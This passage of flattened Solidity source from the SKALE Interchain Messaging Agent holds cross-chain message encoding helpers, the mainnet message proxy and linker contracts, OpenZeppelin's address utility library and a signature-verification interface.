function encodeTransferEthMessage(address receiver, uint256 amount) internal pure returns (bytes memory) {
TransferEthMessage memory message = TransferEthMessage(
BaseMessage(MessageType.TRANSFER_ETH),
receiver,
amount
);
return abi.encode(message);
}
function decodeTransferEthMessage(
bytes calldata data
) internal pure returns (TransferEthMessage memory) {
require(getMessageType(data) == MessageType.TRANSFER_ETH, "Message type is not ETH transfer");
return abi.decode(data, (TransferEthMessage));
}
function encodeTransferErc20Message(
address token,
address receiver,
uint256 amount
) internal pure returns (bytes memory) {
TransferErc20Message memory message = TransferErc20Message(
BaseMessage(MessageType.TRANSFER_ERC20),
token,
receiver,
amount
);
return abi.encode(message);
}
function encodeTransferErc20AndTotalSupplyMessage(
address token,
address receiver,
uint256 amount,
uint256 totalSupply
) internal pure returns (bytes memory) {
TransferErc20AndTotalSupplyMessage memory message = TransferErc20AndTotalSupplyMessage(
TransferErc20Message(
BaseMessage(MessageType.TRANSFER_ERC20_AND_TOTAL_SUPPLY),
token,
receiver,
amount
),
totalSupply
);
return abi.encode(message);
}
function decodeTransferErc20Message(
bytes calldata data
) internal pure returns (TransferErc20Message memory) {
require(getMessageType(data) == MessageType.TRANSFER_ERC20, "Message type is not ERC20 transfer");
return abi.decode(data, (TransferErc20Message));
}
function decodeTransferErc20AndTotalSupplyMessage(
bytes calldata data
) internal pure returns (TransferErc20AndTotalSupplyMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC20_AND_TOTAL_SUPPLY,
"Message type is not ERC20 transfer and total supply"
);
return abi.decode(data, (TransferErc20AndTotalSupplyMessage));
}
function encodeTransferErc20AndTokenInfoMessage(
address token,
address receiver,
uint256 amount,
uint256 totalSupply,
Erc20TokenInfo memory tokenInfo
) internal pure returns (bytes memory) {
TransferErc20AndTokenInfoMessage memory message = TransferErc20AndTokenInfoMessage(
TransferErc20Message(
BaseMessage(MessageType.TRANSFER_ERC20_AND_TOKEN_INFO),
token,
receiver,
amount
),
totalSupply,
tokenInfo
);
return abi.encode(message);
}
function decodeTransferErc20AndTokenInfoMessage(
bytes calldata data
) internal pure returns (TransferErc20AndTokenInfoMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC20_AND_TOKEN_INFO,
"Message type is not ERC20 transfer with token info"
);
return abi.decode(data, (TransferErc20AndTokenInfoMessage));
}
function encodeTransferErc721Message(
address token,
address receiver,
uint256 tokenId
) internal pure returns (bytes memory) {
TransferErc721Message memory message = TransferErc721Message(
BaseMessage(MessageType.TRANSFER_ERC721),
token,
receiver,
tokenId
);
return abi.encode(message);
}
function decodeTransferErc721Message(
bytes calldata data
) internal pure returns (TransferErc721Message memory) {
require(getMessageType(data) == MessageType.TRANSFER_ERC721, "Message type is not ERC721 transfer");
return abi.decode(data, (TransferErc721Message));
}
function encodeTransferErc721AndTokenInfoMessage(
address token,
address receiver,
uint256 tokenId,
Erc721TokenInfo memory tokenInfo
) internal pure returns (bytes memory) {
TransferErc721AndTokenInfoMessage memory message = TransferErc721AndTokenInfoMessage(
TransferErc721Message(
BaseMessage(MessageType.TRANSFER_ERC721_AND_TOKEN_INFO),
token,
receiver,
tokenId
),
tokenInfo
);
return abi.encode(message);
}
function decodeTransferErc721AndTokenInfoMessage(
bytes calldata data
) internal pure returns (TransferErc721AndTokenInfoMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC721_AND_TOKEN_INFO,
"Message type is not ERC721 transfer with token info"
);
return abi.decode(data, (TransferErc721AndTokenInfoMessage));
}
function encodeActivateUserMessage(address receiver) internal pure returns (bytes memory){
return _encodeUserStatusMessage(receiver, true);
}
function encodeLockUserMessage(address receiver) internal pure returns (bytes memory){
return _encodeUserStatusMessage(receiver, false);
}
function decodeUserStatusMessage(bytes calldata data) internal pure returns (UserStatusMessage memory) {
require(getMessageType(data) == MessageType.USER_STATUS, "Message type is not User Status");
return abi.decode(data, (UserStatusMessage));
}
function encodeInterchainConnectionMessage(bool isAllowed) internal pure returns (bytes memory) {
InterchainConnectionMessage memory message = InterchainConnectionMessage(
BaseMessage(MessageType.INTERCHAIN_CONNECTION),
isAllowed
);
return abi.encode(message);
}
function decodeInterchainConnectionMessage(bytes calldata data)
internal
pure
returns (InterchainConnectionMessage memory)
{
require(getMessageType(data) == MessageType.INTERCHAIN_CONNECTION, "Message type is not Interchain connection");
return abi.decode(data, (InterchainConnectionMessage));
}
function encodeTransferErc1155Message(
address token,
address receiver,
uint256 id,
uint256 amount
) internal pure returns (bytes memory) {
TransferErc1155Message memory message = TransferErc1155Message(
BaseMessage(MessageType.TRANSFER_ERC1155),
token,
receiver,
id,
amount
);
return abi.encode(message);
}
function decodeTransferErc1155Message(
bytes calldata data
) internal pure returns (TransferErc1155Message memory) {
require(getMessageType(data) == MessageType.TRANSFER_ERC1155, "Message type is not ERC1155 transfer");
return abi.decode(data, (TransferErc1155Message));
}
function encodeTransferErc1155AndTokenInfoMessage(
address token,
address receiver,
uint256 id,
uint256 amount,
Erc1155TokenInfo memory tokenInfo
) internal pure returns (bytes memory) {
TransferErc1155AndTokenInfoMessage memory message = TransferErc1155AndTokenInfoMessage(
TransferErc1155Message(
BaseMessage(MessageType.TRANSFER_ERC1155_AND_TOKEN_INFO),
token,
receiver,
id,
amount
),
tokenInfo
);
return abi.encode(message);
}
function decodeTransferErc1155AndTokenInfoMessage(
bytes calldata data
) internal pure returns (TransferErc1155AndTokenInfoMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC1155_AND_TOKEN_INFO,
"Message type is not ERC1155AndTokenInfo transfer"
);
return abi.decode(data, (TransferErc1155AndTokenInfoMessage));
}
function encodeTransferErc1155BatchMessage(
address token,
address receiver,
uint256[] memory ids,
uint256[] memory amounts
) internal pure returns (bytes memory) {
TransferErc1155BatchMessage memory message = TransferErc1155BatchMessage(
BaseMessage(MessageType.TRANSFER_ERC1155_BATCH),
token,
receiver,
ids,
amounts
);
return abi.encode(message);
}
function decodeTransferErc1155BatchMessage(
bytes calldata data
) internal pure returns (TransferErc1155BatchMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC1155_BATCH,
"Message type is not ERC1155Batch transfer"
);
return abi.decode(data, (TransferErc1155BatchMessage));
}
function encodeTransferErc1155BatchAndTokenInfoMessage(
address token,
address receiver,
uint256[] memory ids,
uint256[] memory amounts,
Erc1155TokenInfo memory tokenInfo
) internal pure returns (bytes memory) {
TransferErc1155BatchAndTokenInfoMessage memory message = TransferErc1155BatchAndTokenInfoMessage(
TransferErc1155BatchMessage(
BaseMessage(MessageType.TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO),
token,
receiver,
ids,
amounts
),
tokenInfo
);
return abi.encode(message);
}
function decodeTransferErc1155BatchAndTokenInfoMessage(
bytes calldata data
) internal pure returns (TransferErc1155BatchAndTokenInfoMessage memory) {
require(
getMessageType(data) == MessageType.TRANSFER_ERC1155_BATCH_AND_TOKEN_INFO,
"Message type is not ERC1155BatchAndTokenInfo transfer"
);
return abi.decode(data, (TransferErc1155BatchAndTokenInfoMessage));
}
function _encodeUserStatusMessage(address receiver, bool isActive) private pure returns (bytes memory) {
UserStatusMessage memory message = UserStatusMessage(
BaseMessage(MessageType.USER_STATUS),
receiver,
isActive
);
return abi.encode(message);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* MessageProxyForMainnet.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2019-Present SKALE Labs
* @author Artem Payvin
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@skalenetwork/skale-manager-interfaces/IWallets.sol";
import "@skalenetwork/skale-manager-interfaces/ISchains.sol";
import "../MessageProxy.sol";
import "./SkaleManagerClient.sol";
import "./CommunityPool.sol";
/**
* @title Message Proxy for Mainnet
* @dev Runs on Mainnet, contains functions to manage the incoming messages from
* `targetSchainName` and outgoing messages to `fromSchainName`. Every SKALE chain with
* IMA is therefore connected to MessageProxyForMainnet.
*
* Messages from SKALE chains are signed using BLS threshold signatures from the
* nodes in the chain. Since Ethereum Mainnet has no BLS public key, mainnet
* messages do not need to be signed.
*/
contract MessageProxyForMainnet is SkaleManagerClient, MessageProxy {
using AddressUpgradeable for address;
/**
* 16 Agents
* Synchronize time with time.nist.gov
* Every agent checks if it is his time slot
* Time slots are in increments of 10 seconds
* At the start of his slot each agent:
* For each connected schain:
* Read incoming counter on the dst chain
* Read outgoing counter on the src chain
* Calculate the difference outgoing - incoming
* Call postIncomingMessages function passing (un)signed message array
* ID of this schain, Chain 0 represents ETH mainnet,
*/
CommunityPool public communityPool;
uint256 public headerMessageGasCost;
uint256 public messageGasCost;
event GasCostMessageHeaderWasChanged(
uint256 oldValue,
uint256 newValue
);
event GasCostMessageWasChanged(
uint256 oldValue,
uint256 newValue
);
/**
* @dev Allows LockAndData to add a `schainName`.
*
* Requirements:
*
* - `msg.sender` must be SKALE Node address.
* - `schainName` must not be "Mainnet".
* - `schainName` must not already be added.
*/
function addConnectedChain(string calldata schainName) external override {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(schainHash != MAINNET_HASH, "SKALE chain name is incorrect");
_addConnectedChain(schainHash);
}
function setCommunityPool(CommunityPool newCommunityPoolAddress) external {
require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "Not authorized caller");
require(address(newCommunityPoolAddress) != address(0), "CommunityPool address has to be set");
communityPool = newCommunityPoolAddress;
}
function registerExtraContract(string memory schainName, address extraContract) external {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(
hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender) ||
isSchainOwner(msg.sender, schainHash),
"Not enough permissions to register extra contract"
);
require(schainHash != MAINNET_HASH, "Schain hash can not be equal Mainnet");
_registerExtraContract(schainHash, extraContract);
}
function removeExtraContract(string memory schainName, address extraContract) external {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(
hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender) ||
isSchainOwner(msg.sender, schainHash),
"Not enough permissions to register extra contract"
);
require(schainHash != MAINNET_HASH, "Schain hash can not be equal Mainnet");
_removeExtraContract(schainHash, extraContract);
}
/**
* @dev Posts incoming message from `fromSchainName`.
*
* Requirements:
*
* - `msg.sender` must be authorized caller.
* - `fromSchainName` must be initialized.
* - `startingCounter` must be equal to the chain's incoming message counter.
* - If destination chain is Mainnet, message signature must be valid.
*/
function postIncomingMessages(
string calldata fromSchainName,
uint256 startingCounter,
Message[] calldata messages,
Signature calldata sign
)
external
override
{
uint256 gasTotal = gasleft();
bytes32 fromSchainHash = keccak256(abi.encodePacked(fromSchainName));
require(_checkSchainBalance(fromSchainHash), "Schain wallet has not enough funds");
require(connectedChains[fromSchainHash].inited, "Chain is not initialized");
require(messages.length <= MESSAGES_LENGTH, "Too many messages");
require(
startingCounter == connectedChains[fromSchainHash].incomingMessageCounter,
"Starting counter is not equal to incoming message counter");
require(_verifyMessages(fromSchainName, _hashedArray(messages), sign), "Signature is not verified");
uint additionalGasPerMessage =
(gasTotal - gasleft() + headerMessageGasCost + messages.length * messageGasCost) / messages.length;
uint notReimbursedGas = 0;
for (uint256 i = 0; i < messages.length; i++) {
gasTotal = gasleft();
if (registryContracts[bytes32(0)][messages[i].destinationContract]) {
address receiver = _getGasPayer(fromSchainHash, messages[i], startingCounter + i);
_callReceiverContract(fromSchainHash, messages[i], startingCounter + i);
notReimbursedGas += communityPool.refundGasByUser(
fromSchainHash,
payable(msg.sender),
receiver,
gasTotal - gasleft() + additionalGasPerMessage
);
} else {
_callReceiverContract(fromSchainHash, messages[i], startingCounter + i);
notReimbursedGas += gasTotal - gasleft() + additionalGasPerMessage;
}
}
connectedChains[fromSchainHash].incomingMessageCounter += messages.length;
communityPool.refundGasBySchainWallet(fromSchainHash, payable(msg.sender), notReimbursedGas);
}
/**
* @dev Sets headerMessageGasCost to a new value
*
* Requirements:
*
* - `msg.sender` must be granted as CONSTANT_SETTER_ROLE.
*/
function setNewHeaderMessageGasCost(uint256 newHeaderMessageGasCost) external onlyConstantSetter {
emit GasCostMessageHeaderWasChanged(headerMessageGasCost, newHeaderMessageGasCost);
headerMessageGasCost = newHeaderMessageGasCost;
}
/**
* @dev Sets messageGasCost to a new value
*
* Requirements:
*
* - `msg.sender` must be granted as CONSTANT_SETTER_ROLE.
*/
function setNewMessageGasCost(uint256 newMessageGasCost) external onlyConstantSetter {
emit GasCostMessageWasChanged(messageGasCost, newMessageGasCost);
messageGasCost = newMessageGasCost;
}
/**
* @dev Checks whether chain is currently connected.
*
* Note: Mainnet chain does not have a public key, and is implicitly
* connected to MessageProxy.
*
* Requirements:
*
* - `schainName` must not be Mainnet.
*/
function isConnectedChain(
string memory schainName
)
public
view
override
returns (bool)
{
require(keccak256(abi.encodePacked(schainName)) != MAINNET_HASH, "Schain id can not be equal Mainnet");
return super.isConnectedChain(schainName);
}
// Create a new message proxy
function initialize(IContractManager contractManagerOfSkaleManagerValue) public virtual override initializer {
SkaleManagerClient.initialize(contractManagerOfSkaleManagerValue);
MessageProxy.initializeMessageProxy(1e6);
headerMessageGasCost = 70000;
messageGasCost = 8790;
}
/**
* @dev Converts calldata structure to memory structure and checks
* whether message BLS signature is valid.
*/
function _verifyMessages(
string calldata fromSchainName,
bytes32 hashedMessages,
MessageProxyForMainnet.Signature calldata sign
)
internal
view
returns (bool)
{
return ISchains(
contractManagerOfSkaleManager.getContract("Schains")
).verifySchainSignature(
sign.blsSignature[0],
sign.blsSignature[1],
hashedMessages,
sign.counter,
sign.hashA,
sign.hashB,
fromSchainName
);
}
function _checkSchainBalance(bytes32 schainHash) internal view returns (bool) {
return IWallets(
contractManagerOfSkaleManager.getContract("Wallets")
).getSchainBalance(schainHash) >= (MESSAGES_LENGTH + 1) * gasLimit * tx.gasprice;
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* Linker.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Artem Payvin
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/utils/structs/EnumerableSetUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "../Messages.sol";
import "./Twin.sol";
import "./MessageProxyForMainnet.sol";
/**
* @title Linker For Mainnet
* @dev Runs on Mainnet, holds deposited ETH, and contains mappings and
* balances of ETH tokens received through DepositBox.
*/
contract Linker is Twin {
using AddressUpgradeable for address;
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
enum KillProcess {NotKilled, PartiallyKilledBySchainOwner, PartiallyKilledByContractOwner, Killed}
EnumerableSetUpgradeable.AddressSet private _mainnetContracts;
mapping(bytes32 => bool) public interchainConnections;
mapping(bytes32 => KillProcess) public statuses;
modifier onlyLinker() {
require(hasRole(LINKER_ROLE, msg.sender), "Linker role is required");
_;
}
function registerMainnetContract(address newMainnetContract) external onlyLinker {
require(_mainnetContracts.add(newMainnetContract), "The contracts was not registered");
}
function removeMainnetContract(address mainnetContract) external onlyLinker {
require(_mainnetContracts.remove(mainnetContract), "The contract was not removed");
}
function connectSchain(string calldata schainName, address[] calldata schainContracts) external onlyLinker {
require(schainContracts.length == _mainnetContracts.length(), "Incorrect number of addresses");
for (uint i = 0; i < schainContracts.length; i++) {
Twin(_mainnetContracts.at(i)).addSchainContract(schainName, schainContracts[i]);
}
messageProxy.addConnectedChain(schainName);
}
function allowInterchainConnections(string calldata schainName) external onlySchainOwner(schainName) {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(statuses[schainHash] == KillProcess.NotKilled, "Schain is in kill process");
interchainConnections[schainHash] = true;
messageProxy.postOutgoingMessage(
schainHash,
schainLinks[schainHash],
Messages.encodeInterchainConnectionMessage(true)
);
}
function kill(string calldata schainName) external {
require(!interchainConnections[keccak256(abi.encodePacked(schainName))], "Interchain connections turned on");
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
if (statuses[schainHash] == KillProcess.NotKilled) {
if (hasRole(DEFAULT_ADMIN_ROLE, msg.sender)) {
statuses[schainHash] = KillProcess.PartiallyKilledByContractOwner;
} else if (isSchainOwner(msg.sender, schainHash)) {
statuses[schainHash] = KillProcess.PartiallyKilledBySchainOwner;
} else {
revert("Not allowed");
}
} else if (
(
statuses[schainHash] == KillProcess.PartiallyKilledBySchainOwner &&
hasRole(DEFAULT_ADMIN_ROLE, msg.sender)
) || (
statuses[schainHash] == KillProcess.PartiallyKilledByContractOwner &&
isSchainOwner(msg.sender, schainHash)
)
) {
statuses[schainHash] = KillProcess.Killed;
} else {
revert("Already killed or incorrect sender");
}
}
function disconnectSchain(string calldata schainName) external onlyLinker {
uint length = _mainnetContracts.length();
for (uint i = 0; i < length; i++) {
Twin(_mainnetContracts.at(i)).removeSchainContract(schainName);
}
messageProxy.removeConnectedChain(schainName);
}
function isNotKilled(bytes32 schainHash) external view returns (bool) {
return statuses[schainHash] != KillProcess.Killed;
}
function hasMainnetContract(address mainnetContract) external view returns (bool) {
return _mainnetContracts.contains(mainnetContract);
}
function hasSchain(string calldata schainName) external view returns (bool connected) {
uint length = _mainnetContracts.length();
connected = messageProxy.isConnectedChain(schainName);
for (uint i = 0; connected && i < length; i++) {
connected = connected && Twin(_mainnetContracts.at(i)).hasSchainContract(schainName);
}
}
function initialize(
IContractManager contractManagerOfSkaleManagerValue,
MessageProxyForMainnet messageProxyValue
)
public
override
initializer
{
Twin.initialize(contractManagerOfSkaleManagerValue, messageProxyValue);
_setupRole(LINKER_ROLE, msg.sender);
_setupRole(LINKER_ROLE, address(this));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
ISchains.sol - SKALE Manager Interfaces
Copyright (C) 2021-Present SKALE Labs
@author Dmytro Stebaeiv
SKALE Manager Interfaces is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager Interfaces is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager Interfaces. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity >=0.6.10 <0.9.0;
interface ISchains {
function verifySchainSignature(
uint256 signA,
uint256 signB,
bytes32 hash,
uint256 counter,
uint256 hashA,
uint256 hashB,
string calldata schainName
)
external
view
returns (bool);
}
// SPDX-License-Identifier: AGPL-3.0-only
/**
* MessageProxy.sol - SKALE Interchain Messaging Agent
* Copyright (C) 2021-Present SKALE Labs
* @author Dmytro Stebaiev
*
* SKALE IMA is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published
* by the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* SKALE IMA is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with SKALE IMA. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.8.6;
import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "./interfaces/IMessageReceiver.sol";
import "./interfaces/IGasReimbursable.sol";
abstract contract MessageProxy is AccessControlEnumerableUpgradeable {
using AddressUpgradeable for address;
bytes32 public constant MAINNET_HASH = keccak256(abi.encodePacked("Mainnet"));
bytes32 public constant CHAIN_CONNECTOR_ROLE = keccak256("CHAIN_CONNECTOR_ROLE");
bytes32 public constant EXTRA_CONTRACT_REGISTRAR_ROLE = keccak256("EXTRA_CONTRACT_REGISTRAR_ROLE");
bytes32 public constant CONSTANT_SETTER_ROLE = keccak256("CONSTANT_SETTER_ROLE");
uint256 public constant MESSAGES_LENGTH = 10;
struct ConnectedChainInfo {
// message counters start with 0
uint256 incomingMessageCounter;
uint256 outgoingMessageCounter;
bool inited;
}
struct Message {
address sender;
address destinationContract;
bytes data;
}
struct Signature {
uint256[2] blsSignature;
uint256 hashA;
uint256 hashB;
uint256 counter;
}
// schainHash => ConnectedChainInfo
mapping(bytes32 => ConnectedChainInfo) public connectedChains;
// schainHash => contract address => allowed
mapping(bytes32 => mapping(address => bool)) public registryContracts;
uint256 public gasLimit;
/**
* @dev Emitted for every outgoing message to `dstChain`.
*/
event OutgoingMessage(
bytes32 indexed dstChainHash,
uint256 indexed msgCounter,
address indexed srcContract,
address dstContract,
bytes data
);
event PostMessageError(
uint256 indexed msgCounter,
bytes message
);
event GasLimitWasChanged(
uint256 oldValue,
uint256 newValue
);
modifier onlyChainConnector() {
require(hasRole(CHAIN_CONNECTOR_ROLE, msg.sender), "CHAIN_CONNECTOR_ROLE is required");
_;
}
modifier onlyExtraContractRegistrar() {
require(hasRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender), "EXTRA_CONTRACT_REGISTRAR_ROLE is required");
_;
}
modifier onlyConstantSetter() {
require(hasRole(CONSTANT_SETTER_ROLE, msg.sender), "Not enough permissions to set constant");
_;
}
function initializeMessageProxy(uint newGasLimit) public initializer {
AccessControlEnumerableUpgradeable.__AccessControlEnumerable_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(CHAIN_CONNECTOR_ROLE, msg.sender);
_setupRole(EXTRA_CONTRACT_REGISTRAR_ROLE, msg.sender);
_setupRole(CONSTANT_SETTER_ROLE, msg.sender);
emit GasLimitWasChanged(gasLimit, newGasLimit);
gasLimit = newGasLimit;
}
// Registration state detection
function isConnectedChain(
string memory schainName
)
public
view
virtual
returns (bool)
{
return connectedChains[keccak256(abi.encodePacked(schainName))].inited;
}
/**
* @dev Allows LockAndData to add a `schainName`.
*
* Requirements:
*
* - `msg.sender` must be SKALE Node address.
* - `schainName` must not be "Mainnet".
* - `schainName` must not already be added.
*/
function addConnectedChain(string calldata schainName) external virtual;
/**
* @dev Allows LockAndData to remove connected chain from this contract.
*
* Requirements:
*
* - `msg.sender` must be LockAndData contract.
* - `schainName` must be initialized.
*/
function removeConnectedChain(string memory schainName) public virtual onlyChainConnector {
bytes32 schainHash = keccak256(abi.encodePacked(schainName));
require(connectedChains[schainHash].inited, "Chain is not initialized");
delete connectedChains[schainHash];
}
/**
* @dev Sets gasLimit to a new value
*
* Requirements:
*
* - `msg.sender` must be granted CONSTANT_SETTER_ROLE.
*/
function setNewGasLimit(uint256 newGasLimit) external onlyConstantSetter {
emit GasLimitWasChanged(gasLimit, newGasLimit);
gasLimit = newGasLimit;
}
/**
* @dev Posts message from this contract to `targetSchainName` MessageProxy contract.
* This is called by a smart contract to make a cross-chain call.
*
* Requirements:
*
* - `targetSchainName` must be initialized.
*/
function postOutgoingMessage(
bytes32 targetChainHash,
address targetContract,
bytes memory data
)
public
virtual
{
require(connectedChains[targetChainHash].inited, "Destination chain is not initialized");
require(
registryContracts[bytes32(0)][msg.sender] ||
registryContracts[targetChainHash][msg.sender],
"Sender contract is not registered"
);
emit OutgoingMessage(
targetChainHash,
connectedChains[targetChainHash].outgoingMessageCounter,
msg.sender,
targetContract,
data
);
connectedChains[targetChainHash].outgoingMessageCounter += 1;
}
function postIncomingMessages(
string calldata fromSchainName,
uint256 startingCounter,
Message[] calldata messages,
Signature calldata sign
)
external
virtual;
function registerExtraContractForAll(address extraContract) external onlyExtraContractRegistrar {
require(extraContract.isContract(), "Given address is not a contract");
require(!registryContracts[bytes32(0)][extraContract], "Extra contract is already registered");
registryContracts[bytes32(0)][extraContract] = true;
}
function removeExtraContractForAll(address extraContract) external onlyExtraContractRegistrar {
require(registryContracts[bytes32(0)][extraContract], "Extra contract is not registered");
delete registryContracts[bytes32(0)][extraContract];
}
/**
* @dev Checks whether contract is currently connected to
* send messages to chain or receive messages from chain.
*/
function isContractRegistered(
string calldata schainName,
address contractAddress
)
external
view
returns (bool)
{
return registryContracts[keccak256(abi.encodePacked(schainName))][contractAddress] ||
registryContracts[bytes32(0)][contractAddress];
}
/**
* @dev Returns number of outgoing messages to some schain
*
* Requirements:
*
* - `targetSchainName` must be initialized.
*/
function getOutgoingMessagesCounter(string calldata targetSchainName)
external
view
returns (uint256)
{
bytes32 dstChainHash = keccak256(abi.encodePacked(targetSchainName));
require(connectedChains[dstChainHash].inited, "Destination chain is not initialized");
